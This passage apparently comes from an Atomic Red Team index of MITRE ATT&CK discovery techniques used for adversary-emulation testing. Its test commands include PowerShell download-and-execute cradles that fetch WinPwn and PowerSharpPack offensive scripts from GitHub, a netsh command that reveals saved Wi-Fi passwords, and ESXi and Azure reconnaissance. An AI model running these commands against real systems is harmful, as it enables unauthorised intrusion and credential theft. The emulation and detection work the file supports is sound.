WinPwn supported_platforms: - windows executor: command: |- $S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t' iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') winPEAS -noninteractive -consoleoutput name: powershell - name: WinPwn - itm4nprivesc auto_generated_guid: 3d256a2f-5e57-4003-8eb6-64d91b1da7ce description: Discover Local Privilege Escalation possibilities using itm4nprivesc function of WinPwn supported_platforms: - windows executor: command: |- $S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t' iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') itm4nprivesc -noninteractive -consoleoutput name: powershell - name: WinPwn - Powersploits privesc checks auto_generated_guid: 345cb8e4-d2de-4011-a580-619cf5a9e2d7 description: Powersploits privesc checks using oldchecks function of WinPwn supported_platforms: - windows executor: command: |- $S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t' iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') oldchecks -noninteractive -consoleoutput cleanup_command: |- rm -force -recurse .\DomainRecon -ErrorAction Ignore rm -force -recurse .\Exploitation -ErrorAction Ignore rm -force -recurse .\LocalPrivEsc -ErrorAction Ignore rm -force -recurse .\LocalRecon -ErrorAction Ignore rm -force -recurse .\Vulnerabilities -ErrorAction Ignore name: powershell - name: WinPwn - General privesc checks auto_generated_guid: 5b6f39a2-6ec7-4783-a5fd-2c54a55409ed description: General privesc checks using the otherchecks function of WinPwn supported_platforms: - windows executor: command: |- $S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t' iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') otherchecks -noninteractive -consoleoutput name: powershell - name: WinPwn - GeneralRecon auto_generated_guid: 7804659b-fdbf-4cf6-b06a-c03e758590e8 description: Collect general computer informations via GeneralRecon function of WinPwn supported_platforms: - windows executor: command: |- $S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t' iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') Generalrecon -consoleoutput -noninteractive name: powershell - name: WinPwn - Morerecon auto_generated_guid: 3278b2f6-f733-4875-9ef4-bfed34244f0a description: Gathers local system information using the Morerecon function of WinPwn supported_platforms: - windows executor: command: |- $S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t' iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') Morerecon -noninteractive -consoleoutput name: powershell - name: WinPwn - RBCD-Check auto_generated_guid: dec6a0d8-bcaf-4c22-9d48-2aee59fb692b description: Search for Resource-Based Constrained Delegation attack paths using RBCD-Check function of WinPwn supported_platforms: - windows executor: command: |- $S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t' iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') RBCD-Check -consoleoutput -noninteractive name: powershell - name: WinPwn - PowerSharpPack - Watson searching for missing windows patches auto_generated_guid: 07b18a66-6304-47d2-bad0-ef421eb2e107 description: PowerSharpPack - Watson searching for missing windows patches technique via function of WinPwn supported_platforms: - windows executor: command: |- iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-SharpWatson.ps1') Invoke-watson name: powershell - name: WinPwn - PowerSharpPack - Sharpup checking common Privesc vectors auto_generated_guid: efb79454-1101-4224-a4d0-30c9c8b29ffc description: PowerSharpPack - Sharpup checking common Privesc vectors technique via function of WinPwn - Takes several minutes to complete. supported_platforms: - windows executor: command: |- iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-SharpUp.ps1') Invoke-SharpUp -command "audit" name: powershell - name: WinPwn - PowerSharpPack - Seatbelt auto_generated_guid: 5c16ceb4-ba3a-43d7-b848-a13c1f216d95 description: |- PowerSharpPack - Seatbelt technique via function of WinPwn. [Seatbelt](https://github.com/GhostPack/Seatbelt) is a C# project that performs a number of security oriented host-survey "safety checks" relevant from both offensive and defensive security perspectives. supported_platforms: - windows executor: command: |- iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-Seatbelt.ps1') Invoke-Seatbelt -Command "-group=all" name: powershell - name: Azure Security Scan with SkyArk auto_generated_guid: 26a18d3d-f8bc-486b-9a33-d6df5d78a594 description: "Upon successful execution, this test will utilize a valid read-only Azure AD user's credentials to conduct a security scan and determine what users exist in a given tenant, as well as identify any admin users. \nOnce the test is complete, a folder will be output to the temp directory that contains 3 csv files which provide info on the discovered users. \nSee https://github.com/cyberark/SkyArk \n" supported_platforms: - azure-ad input_arguments: username: description: Azure AD username type: string default: password: description: Azure AD password type: string default: T1082Az dependency_executor_name: powershell dependencies: - description: 'The SkyArk AzureStealth module must exist in PathToAtomicsFolder\..\ExternalPayloads. ' prereq_command: 'if (test-path "PathToAtomicsFolder\..\ExternalPayloads\AzureStealth.ps1"){exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null invoke-webrequest "https://raw.githubusercontent.com/cyberark/SkyArk/3293ee145e95061a8980dd7b5da0030edc4da5c0/AzureStealth/AzureStealth.ps1" -outfile "PathToAtomicsFolder\..\ExternalPayloads\AzureStealth.ps1" - description: 'The AzureAD module must be installed. ' prereq_command: 'try {if (Get-InstalledModule -Name AzureAD -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1} ' get_prereq_command: 'Install-Module -Name AzureAD -Force ' - description: 'The Az module must be installed. ' prereq_command: 'try {if (Get-InstalledModule -Name Az -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1} ' get_prereq_command: 'Install-Module -Name Az -Force ' executor: command: "Import-Module \"PathToAtomicsFolder\\..\\ExternalPayloads\\AzureStealth.ps1\" -force \n$Password = ConvertTo-SecureString -String \"#{password}\" -AsPlainText -Force\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"#{username}\", $Password\nConnect-AzAccount -Credential $Credential\nConnect-AzureAD -Credential $Credential\nScan-AzureAdmins -UseCurrentCred\n" cleanup_command: | $resultstime = Get-Date -Format "yyyyMMdd" $resultsfolder = ("Results-" + $resultstime) remove-item $env:temp\$resultsfolder -recurse -force -erroraction silentlycontinue name: powershell elevation_required: true - name: Linux List Kernel Modules auto_generated_guid: 034fe21c-3186-49dd-8d5d-128b35f181c7 description: 'Enumerate kernel modules installed 3 different ways. Upon successful execution stdout will display kernel modules installed on host 2 times, followed by list of modules matching ''vmw'' if present. ' supported_platforms: - linux executor: command: | lsmod kmod list grep vmw /proc/modules name: sh - name: FreeBSD List Kernel Modules auto_generated_guid: 4947897f-643a-4b75-b3f5-bed6885749f6 description: 'Enumerate kernel modules loaded. Upon successful execution stdout will display kernel modules loaded, followed by list of modules matching ''vmm'' if present. ' supported_platforms: - linux executor: command: | kldstat kldstat | grep vmm name: sh - name: System Information Discovery with WMIC auto_generated_guid: 8851b73a-3624-4bf7-8704-aa312411565c description: | Identify system information with the WMI command-line (WMIC) utility. Upon execution, various system information will be displayed, including: OS, CPU, GPU, and disk drive names; memory capacity; display resolution; and baseboard, BIOS, and GPU driver products/versions. https://nwgat.ninja/getting-system-information-with-wmic-on-windows/ Elements of this test were observed in the wild used by Aurora Stealer in late 2022 and early 2023, as highlighted in public reporting: https://blog.sekoia.io/aurora-a-rising-stealer-flying-under-the-radar https://blog.cyble.com/2023/01/18/aurora-a-stealer-using-shapeshifting-tactics/ supported_platforms: - windows executor: command: | wmic cpu get name wmic MEMPHYSICAL get MaxCapacity wmic baseboard get product wmic baseboard get version wmic bios get SMBIOSBIOSVersion wmic path win32_VideoController get name wmic path win32_VideoController get DriverVersion wmic path win32_VideoController get VideoModeDescription wmic OS get Caption,OSArchitecture,Version wmic DISKDRIVE get Caption Get-WmiObject win32_bios name: command_prompt - name: System Information Discovery auto_generated_guid: 4060ee98-01ae-4c8e-8aad-af8300519cc7 description: 'The script gathernetworkinfo.vbs is employed to collect system information such as the operating system, DNS details, firewall configuration, etc. Outputs are stored in c:\Windows\System32\config or c:\Windows\System32\reg. https://www.verboon.info/2011/06/the-gathernetworkinfo-vbs-script/ ' supported_platforms: - windows executor: command: 'wscript.exe C:\Windows\System32\gatherNetworkInfo.vbs ' elevation_required: true name: command_prompt - name: Check computer location auto_generated_guid: 96be6002-9200-47db-94cb-c3e27de1cb36 description: | Looks up country code configured in the registry, likely geofence. Upon execution, country code info will be displayed. - https://tria.ge/210111-eaz8mqhgh6/behavioral1 supported_platforms: - windows executor: command: 'reg query "HKEY_CURRENT_USER\Control Panel\International\Geo" ' name: command_prompt - name: BIOS Information Discovery through Registry auto_generated_guid: f2f91612-d904-49d7-87c2-6c165d23bead description: | Looks up for BIOS information in the registry. BIOS information is often read in order to detect sandboxing environments. Upon execution, BIOS information will be displayed. - https://tria.ge/210111-eaz8mqhgh6/behavioral1 - https://evasions.checkpoint.com/techniques/registry.html supported_platforms: - windows executor: command: | reg query HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System /v SystemBiosVersion reg query HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System /v VideoBiosVersion name: command_prompt - name: ESXi - VM Discovery using ESXCLI auto_generated_guid: 2040405c-eea6-4c1c-aef3-c2acc430fac9 description: | An adversary will using ESXCLI to enumerate the Virtual Machines on the host prior to executing power off routine. [Reference](https://www.crowdstrike.com/blog/hypervisor-jackpotting-ecrime-actors-increase-targeting-of-esxi-servers/) supported_platforms: - windows input_arguments: vm_host: description: Specify the host name or IP of the ESXi Server type: string default: atomic.local vm_user: description: Specify the privilege user account on ESXi Server type: string default: root vm_pass: description: Specify the privilege user password on ESXi Server type: string default: pass plink_file: description: Path to Plink type: path default: PathToAtomicsFolder\..\ExternalPayloads\plink.exe cli_script: description: Path to file with discovery commands type: path default: PathToAtomicsFolder\T1082\src\esx_vmdiscovery.txt dependency_executor_name: powershell dependencies: - description: 'Check if plink is available. ' prereq_command: 'if (Test-Path "#{plink_file}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest "https://the.earth.li/~sgtatham/putty/latest/w64/plink.exe" -OutFile "#{plink_file}" executor: command: 'echo "" | "#{plink_file}" "#{vm_host}" -ssh -l "#{vm_user}" -pw "#{vm_pass}" -m "#{cli_script}" ' name: command_prompt elevation_required: false - name: ESXi - Darkside system information discovery auto_generated_guid: f89812e5-67d1-4f49-86fa-cbc6609ea86a description: | Darkside ransomware utilises various ESXCLI commands to obtain information about the ESXi Host. [Reference](https://www.trendmicro.com/en_ph/research/21/e/darkside-linux-vms-targeted.html) supported_platforms: - windows input_arguments: vm_host: description: Specify the host name or IP of the ESXi Server type: string default: atomic.local vm_user: description: Specify the privilege user account on ESXi Server type: string default: root vm_pass: description: Specify the privilege user password on ESXi Server type: string default: pass plink_file: description: Path to Plink type: path default: PathToAtomicsFolder\..\ExternalPayloads\plink.exe cli_script: description: Path to file containing darkside ransomware discovery commands type: path default: PathToAtomicsFolder\T1082\src\esx_darkside_discovery.txt dependency_executor_name: powershell dependencies: - description: 'Check if plink is available. ' prereq_command: 'if (Test-Path "#{plink_file}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest "https://the.earth.li/~sgtatham/putty/latest/w64/plink.exe" -OutFile "#{plink_file}" executor: command: 'echo "" | "#{plink_file}" "#{vm_host}" -ssh -l "#{vm_user}" -pw "#{vm_pass}" -m "#{cli_script}" ' name: command_prompt elevation_required: false - name: sysctl to gather macOS hardware info auto_generated_guid: c8d40da9-31bd-47da-a497-11ea55d1ef6c description: Gets the macOS hardware information, which can be used to determine whether the target macOS host is running on a physical or virtual machine. sysctl can be used to gather interesting macOS host data, including hardware information, memory size, logical cpu information, etc. supported_platforms: - macos executor: command: sysctl -n hw.model name: sh elevation_required: false T1016.002: technique: modified: '2023-10-05T11:35:30.887Z' name: 'System Network Configuration Discovery: Wi-Fi Discovery' description: | Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems. Adversaries may use Wi-Fi information as part of [Account Discovery](https://attack.mitre.org/techniques/T1087), [Remote System Discovery](https://attack.mitre.org/techniques/T1018), and other discovery or [Credential Access](https://attack.mitre.org/tactics/TA0006) activity to support both ongoing and future campaigns. Adversaries may collect various types of information about Wi-Fi networks from hosts. For example, on Windows names and passwords of all Wi-Fi networks a device has previously connected to may be available through `netsh wlan show profiles` to enumerate Wi-Fi names and then `netsh wlan show profile “Wi-Fi name” key=clear` to show a Wi-Fi network’s corresponding password.(Citation: BleepingComputer Agent Tesla steal wifi passwords)(Citation: Malware Bytes New AgentTesla variant steals WiFi credentials)(Citation: Check Point APT35 CharmPower January 2022) Additionally, names and other details of locally reachable Wi-Fi networks can be discovered using calls to `wlanAPI.dll` [Native API](https://attack.mitre.org/techniques/T1106) functions.(Citation: Binary Defense Emotes Wi-Fi Spreader) On Linux, names and passwords of all Wi-Fi-networks a device has previously connected to may be available in files under ` /etc/NetworkManager/system-connections/`.(Citation: Wi-Fi Password of All Connected Networks in Windows/Linux) On macOS, the password of a known Wi-Fi may be identified with ` security find-generic-password -wa wifiname` (requires admin username/password).(Citation: Find Wi-Fi Password on Mac) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: discovery x_mitre_contributors: - Christopher Peacock - Uriel Kosayev - Liran Ravich, CardinalOps - Alex Spivakovsky, Pentera x_mitre_deprecated: false x_mitre_detection: This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of system features. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Linux - macOS - Windows x_mitre_version: '1.0' x_mitre_data_sources: - 'Process: OS API Execution' - 'Command: Command Execution' type: attack-pattern id: attack-pattern--494ab9f0-36e0-4b06-b10d-57285b040a06 created: '2023-09-08T15:39:50.269Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1016/002 external_id: T1016.002 - source_name: Binary Defense Emotes Wi-Fi Spreader description: Binary Defense. (n.d.). Emotet Evolves With new Wi-Fi Spreader. Retrieved September 8, 2023. url: https://www.binarydefense.com/resources/blog/emotet-evolves-with-new-wi-fi-spreader/ - source_name: Check Point APT35 CharmPower January 2022 description: Check Point. (2022, January 11). APT35 exploits Log4j vulnerability to distribute new modular PowerShell toolkit. Retrieved January 24, 2022. url: https://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/ - source_name: Wi-Fi Password of All Connected Networks in Windows/Linux description: Geeks for Geeks. (n.d.). Wi-Fi Password of All Connected Networks in Windows/Linux. Retrieved September 8, 2023. url: https://www.geeksforgeeks.org/wi-fi-password-connected-networks-windowslinux/ - source_name: Malware Bytes New AgentTesla variant steals WiFi credentials description: Hossein Jazi. (2020, April 16). New AgentTesla variant steals WiFi credentials. Retrieved September 8, 2023. url: https://www.malwarebytes.com/blog/news/2020/04/new-agenttesla-variant-steals-wifi-credentials - source_name: Find Wi-Fi Password on Mac description: Ruslana Lishchuk. (2021, March 26). How to Find a Saved Wi-Fi Password on a Mac. Retrieved September 8, 2023. url: https://mackeeper.com/blog/find-wi-fi-password-on-mac/ - source_name: BleepingComputer Agent Tesla steal wifi passwords description: Sergiu Gatlan. (2020, April 16). Hackers steal WiFi passwords using upgraded Agent Tesla malware. Retrieved September 8, 2023. url: https://www.bleepingcomputer.com/news/security/hackers-steal-wifi-passwords-using-upgraded-agent-tesla-malware/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1016.002 atomic_tests: - name: Enumerate Stored Wi-Fi Profiles And Passwords via netsh auto_generated_guid: 53cf1903-0fa7-4177-ab14-f358ae809eec description: Upon successful execution, information about previously connected Wi-Fi networks will be displayed with their corresponding key (if present). supported_platforms: - windows executor: command: netsh wlan show profile * key=clear name: command_prompt elevation_required: false T1010: technique: modified: '2023-10-31T14:00:00.188Z' name: Application Window Discovery description: |- Adversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used.(Citation: Prevailion DarkWatchman 2021) For example, information about application windows could be used identify potential data to collect as well as identifying security tooling ([Security Software Discovery](https://attack.mitre.org/techniques/T1518/001)) to evade.(Citation: ESET Grandoreiro April 2020) Adversaries typically abuse system features for this type of enumeration. For example, they may gather information through native system features such as [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) commands and [Native API](https://attack.mitre.org/techniques/T1106) functions. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: discovery x_mitre_deprecated: false x_mitre_detection: |- System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - macOS - Windows - Linux x_mitre_version: '1.3' x_mitre_data_sources: - 'Process: Process Creation' - 'Command: Command Execution' - 'Process: OS API Execution' type: attack-pattern id: attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830 created: '2017-05-31T21:30:24.512Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1010 external_id: T1010 - source_name: ESET Grandoreiro April 2020 description: 'ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020.' url: https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/ - source_name: Prevailion DarkWatchman 2021 description: 'Smith, S., Stafford, M. (2021, December 14). DarkWatchman: A new evolution in fileless techniques. Retrieved January 10, 2022.' url: https://www.prevailion.com/darkwatchman-new-fileless-techniques/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1010 atomic_tests: - name: List Process Main Windows - C# .NET auto_generated_guid: fe94a1c3-3e22-4dc9-9fdf-3a8bdbc10dc4 description: | Compiles and executes C# code to list main window titles associated with each process. Upon successful execution, powershell will download the .cs from the Atomic Red Team repo, and cmd.exe will compile and execute T1010.exe. Upon T1010.exe execution, expected output will be via stdout. supported_platforms: - windows input_arguments: input_source_code: description: Path to source of C# code type: path default: PathToAtomicsFolder\T1010\src\T1010.cs output_file_name: description: Name of output binary type: string default: "%TEMP%\\T1010.exe" dependency_executor_name: powershell dependencies: - description: 'T1010.cs must exist on disk at specified location (#{input_source_code}) ' prereq_command: 'if (Test-Path "#{input_source_code}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{input_source_code}") -ErrorAction ignore | Out-Null Invoke-WebRequest https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1010/src/T1010.cs -OutFile "#{input_source_code}" executor: command: | C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe -out:#{output_file_name} "#{input_source_code}" #{output_file_name} cleanup_command: 'del /f /q /s #{output_file_name} >nul 2>&1 ' name: command_prompt T1087.003: technique: x_mitre_platforms: - Windows - Office 365 - Google Workspace x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--4bc31b94-045b-4752-8920-aebaebdb6470 type: attack-pattern created: '2020-02-21T21:08:33.237Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1087.003 url: https://attack.mitre.org/techniques/T1087/003 - source_name: Microsoft Exchange Address Lists url: https://docs.microsoft.com/en-us/exchange/email-addresses-and-address-books/address-lists/address-lists?view=exchserver-2019 description: Microsoft. (2020, February 7). Address lists in Exchange Server. Retrieved March 26, 2020. - source_name: Microsoft getglobaladdresslist url: https://docs.microsoft.com/en-us/powershell/module/exchange/email-addresses-and-address-books/get-globaladdresslist description: Microsoft. (n.d.). Get-GlobalAddressList. Retrieved October 6, 2019. - description: Bullock, B.. (2016, October 3). Attacking Exchange with MailSniper. Retrieved October 6, 2019. url: https://www.blackhillsinfosec.com/attacking-exchange-with-mailsniper/ source_name: Black Hills Attacking Exchange MailSniper, 2016 - source_name: Google Workspace Global Access List url: https://support.google.com/a/answer/166870?hl=en description: Google. (n.d.). Retrieved March 16, 2021. modified: '2022-04-25T14:00:00.188Z' name: Email Account description: |- Adversaries may attempt to get a listing of email addresses and accounts. Adversaries may try to dump Exchange address lists such as global address lists (GALs).(Citation: Microsoft Exchange Address Lists) In on-premises Exchange and Exchange Online, theGet-GlobalAddressList PowerShell cmdlet can be used to obtain email addresses and accounts from a domain using an authenticated session.(Citation: Microsoft getglobaladdresslist)(Citation: Black Hills Attacking Exchange MailSniper, 2016) In Google Workspace, the GAL is shared with Microsoft Outlook users through the Google Workspace Sync for Microsoft Outlook (GWSMO) service. Additionally, the Google Workspace Directory allows for users to get a listing of other users within the organization.(Citation: Google Workspace Global Access List) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: discovery x_mitre_detection: |- System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). x_mitre_is_subtechnique: true x_mitre_version: '1.1' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Process: Process Creation' - 'Command: Command Execution' x_mitre_permissions_required: - User spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1497.003: technique: x_mitre_platforms: - Linux - macOS - Windows x_mitre_domains: - enterprise-attack x_mitre_contributors: - Jorge Orchilles, SCYTHE - Ruben Dodge, @shotgunner101 - Jeff Felling, Red Canary - Deloitte Threat Library Team object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0 type: attack-pattern created: '2020-03-06T21:11:11.225Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1497.003 url: https://attack.mitre.org/techniques/T1497/003 - source_name: Deloitte Environment Awareness url: https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc description: Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved May 18, 2021. - source_name: Revil Independence Day url: https://news.sophos.com/en-us/2021/07/04/independence-day-revil-uses-supply-chain-exploit-to-attack-hundreds-of-businesses/ description: 'Loman, M. et al. (2021, July 4). Independence Day: REvil uses supply chain exploit to attack hundreds of businesses. Retrieved September 30, 2021.' - source_name: Netskope Nitol url: https://www.netskope.com/blog/nitol-botnet-makes-resurgence-evasive-sandbox-analysis-technique description: Malik, A. (2016, October 14). Nitol Botnet makes a resurgence with evasive sandbox analysis technique. Retrieved September 30, 2021. - source_name: Joe Sec Nymaim url: https://www.joesecurity.org/blog/3660886847485093803 description: Joe Security. (2016, April 21). Nymaim - evading Sandboxes with API hammering. Retrieved September 30, 2021. - source_name: Joe Sec Trickbot url: https://www.joesecurity.org/blog/498839998833561473 description: Joe Security. (2020, July 13). TrickBot's new API-Hammering explained. Retrieved September 30, 2021. - source_name: ISACA Malware Tricks url: https://www.isaca.org/resources/isaca-journal/issues/2017/volume-6/evasive-malware-tricks-how-malware-evades-detection-by-sandboxes description: 'Kolbitsch, C. (2017, November 1). Evasive Malware Tricks: How Malware Evades Detection by Sandboxes. Retrieved March 30, 2021.' modified: '2022-05-11T14:00:00.188Z' name: Time Based Evasion description: |- Adversaries may employ various time-based methods to detect and avoid virtualization and analysis environments. This may include enumerating time-based properties, such as uptime or the system clock, as well as the use of timers or other triggers to avoid a virtual machine environment (VME) or sandbox, specifically those that are automated or only operate for a limited amount of time. Adversaries may employ various time-based evasions, such as delaying malware functionality upon initial execution using programmatic sleep commands or native system scheduling functionality (ex: [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053)). Delays may also be based on waiting for specific victim conditions to be met (ex: system time, events, etc.) or employ scheduled [Multi-Stage Channels](https://attack.mitre.org/techniques/T1104) to avoid analysis and scrutiny.(Citation: Deloitte Environment Awareness) Benign commands or other operations may also be used to delay malware execution. Loops or otherwise needless repetitions of commands, such as [Ping](https://attack.mitre.org/software/S0097)s, may be used to delay malware execution and potentially exceed time thresholds of automated analysis environments.(Citation: Revil Independence Day)(Citation: Netskope Nitol) Another variation, commonly referred to as API hammering, involves making various calls to [Native API](https://attack.mitre.org/techniques/T1106) functions in order to delay execution (while also potentially overloading analysis environments with junk data).(Citation: Joe Sec Nymaim)(Citation: Joe Sec Trickbot) Adversaries may also use time as a metric to detect sandboxes and analysis environments, particularly those that attempt to manipulate time mechanisms to simulate longer elapses of time. For example, an adversary may be able to identify a sandbox accelerating time by sampling and calculating the expected value for an environment's timestamp before and after execution of a sleep function.(Citation: ISACA Malware Tricks) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: discovery x_mitre_detection: 'Time-based evasion will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary''s implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection. ' x_mitre_is_subtechnique: true x_mitre_version: '1.2' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Process: OS API Execution' - 'Process: Process Creation' - 'Command: Command Execution' x_mitre_defense_bypassed: - Host forensic analysis - Signature-based detection - Static File Analysis - Anti-virus spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1580: technique: x_mitre_platforms: - IaaS x_mitre_domains: - enterprise-attack x_mitre_contributors: - Regina Elwell - Praetorian - Isif Ibrahima, Mandiant object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 type: attack-pattern id: attack-pattern--57a3d31a-d04f-4663-b2da-7df8ec3f8c9d created: '2020-08-20T17:51:25.671Z' x_mitre_version: '1.3' external_references: - source_name: mitre-attack external_id: T1580 url: https://attack.mitre.org/techniques/T1580 - source_name: Expel IO Evil in AWS url: https://expel.io/blog/finding-evil-in-aws/ description: A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding Evil in AWS. Retrieved June 25, 2020. - source_name: AWS Head Bucket url: https://docs.aws.amazon.com/AmazonS3/latest/API/API_HeadBucket.html description: Amazon Web Services. (n.d.). AWS HeadBucket. Retrieved February 14, 2022. - source_name: AWS Get Public Access Block url: https://docs.aws.amazon.com/AmazonS3/latest/API/API_GetPublicAccessBlock.html description: Amazon Web Services. (n.d.). Retrieved May 28, 2021. - source_name: AWS Describe DB Instances url: https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_DescribeDBInstances.html description: Amazon Web Services. (n.d.). Retrieved May 28, 2021. - source_name: Amazon Describe Instance url: https://docs.aws.amazon.com/cli/latest/reference/ssm/describe-instance-information.html description: Amazon. (n.d.). describe-instance-information. Retrieved March 3, 2020. - source_name: Amazon Describe Instances API url: https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DescribeInstances.html description: Amazon. (n.d.). DescribeInstances. Retrieved May 26, 2020. - source_name: Google Compute Instances url: https://cloud.google.com/sdk/gcloud/reference/compute/instances/list description: Google. (n.d.). gcloud compute instances list. Retrieved May 26, 2020. - source_name: Mandiant M-Trends 2020 url: https://content.fireeye.com/m-trends/rpt-m-trends-2020 description: Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020. - source_name: Microsoft AZ CLI url: 